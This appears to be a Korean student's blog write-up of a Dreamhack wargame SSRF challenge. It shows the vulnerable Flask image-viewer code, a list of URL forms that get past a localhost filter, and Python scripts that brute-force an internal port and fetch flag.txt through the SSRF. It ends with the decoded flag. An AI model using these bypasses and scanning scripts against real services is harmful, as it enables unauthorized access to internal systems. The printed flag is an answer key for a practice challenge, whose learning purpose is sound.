문제
https://dreamhack.io/wargame/challenges/75
문제코드
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
코드분석
@app.route("/")
def index():
return render_template("index.html")
여기는 뭐.. / 로 접속하면 index.html 템플릿으로 넘어간다는 의미이다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
핵심은 요쪽인 거 같은데, 일단 /img_viewer 로 간다.
GET요청이면 img_viewer.html 템플릿으로 넘어간다.
그리고 POST요청일시, 폼에서부터 url를 받는다.
url 의 시작이 /으로 시작한다면 =localhost:8000 뒤에 인자로 입력받았던 url 를 붙이고,
localhost란 단어나 127.0.0.1 이 url 에 존재한다면 에러를 출력한다.
그리고 url 위치에서 content내용을 불러온 게 data로 들어간다. 예외가 발생하면 에러를 나타낸다.
그리고 코드 해석하면서 놓쳤던 부분이 있는데 바로 그동안 풀어왔던 문제들과는 추가된 코드가 몇 줄 있는데 바로
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
def run_local_server():
local_server.serve_forever()
이 부분이다. random 한 포트를 받고, local_server 부분에 http.server.HTTPServer 여기에 인자로 넣어준다. 그럼 현재 디렉터리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다. 호스트가 127.0.0.1이므로 외부에서 이 서버에 직접 접근을 불가능하다.
풀이전략
일단 나도 이거 어떻게 풀어야할지 도저히 감이 안 와서 드림핵을 봤다. 127.0.0.1. localhost 를 막으니까 저기로 접속할 수 있는 방법을 찾아야한다.
여러가지 방법이 있는데, 도메인 이름을 구매하고 127.0.0.1 과 연결하는 법도 있고, 127.0.0.1을 16진수로 변환하는 법도 있고,
http://vcap.me:8000/
http://0x7f.0x00.0x00.0x01:8000/
http://0x7f000001:8000/
http://2130706433:8000/
http://Localhost:8000/
http://127.0.0.255:8000/
이 중에서 하나 쓰는 방법도 있다.
드림핵대로 Localhost: 이걸 이용한다고 치고
포트 번호는 1500~1800 중에 랜덤이기 때문에 이걸 찾아야한다.
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
break
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host1.dreamhack.games:{chall_port}/img_viewer"
internal_port = find_port()
이 코드를 실행해서 포트 번호를 찾자.
실행
포트 번호를 알았으니, 살짝 코드를 수정해서
#!/usr/bin/python3
import requests
import sys
from tqdm import tqdm
# `src` value of "NOT FOUND X"
NOTFOUND_IMG = "iVBORw0KG"
def send_img(img_url):
global chall_url
data = {
"url": img_url,
}
response = requests.post(chall_url, data=data, verify=False)
return response.text
def find_port():
for port in tqdm(range(1500, 1801)):
img_url = f"http://Localhost:{port}"
if NOTFOUND_IMG not in send_img(img_url):
print(f"Internal port number is: {port}")
return port
if __name__ == "__main__":
chall_port = int(sys.argv[1])
chall_url = f"http://host3.dreamhack.games:{chall_port}/img_viewer"
# internal_port = find_port()
url = "http://host3.dreamhack.games:22383/img_viewer"
response = requests.post(url, data = {'url' : 'http://Localhost:1720/flag.txt'})
data = response.text;
print(data)
a = input()
print(a);
이렇게 입력을 하였다.
이런 내용이 나오는데,
이 부분을 확인할 수 있었고, 이걸 base64로 번역을 해보면
https://www.convertstring.com/ko/EncodeDecode/Base64Decode
플래그 값이 나온다.
플래그는
DH{43dd2189056475a7f3bd11456a17ad71}
이다.
에필로그
LEVEL 2는 무리다;
와 진짜 개어렵다.
와 이거 맞나;
일단 파이썬스크립트를 짤려면 기본적으로 requests 모듈에 대해서 자세히 알아야할 거 같은데 저거 쓰는 법 부터 뭘 알아야 할 거 같다.
'보안 스터디 > 웹 해킹' 카테고리의 다른 글
[드림핵/워게임] session (웹 해킹) (1) | 2024.01.27 |
---|---|
[드림핵/워게임] phpreg (웹 해킹) (1) | 2024.01.26 |
[드림핵/웹해킹] ServerSide: SSRF (0) | 2024.01.16 |
[드림핵/워게임] image-storage (웹 해킹) (1) | 2024.01.15 |
[드림핵/워게임] file-download-1 (웹해킹) (0) | 2024.01.15 |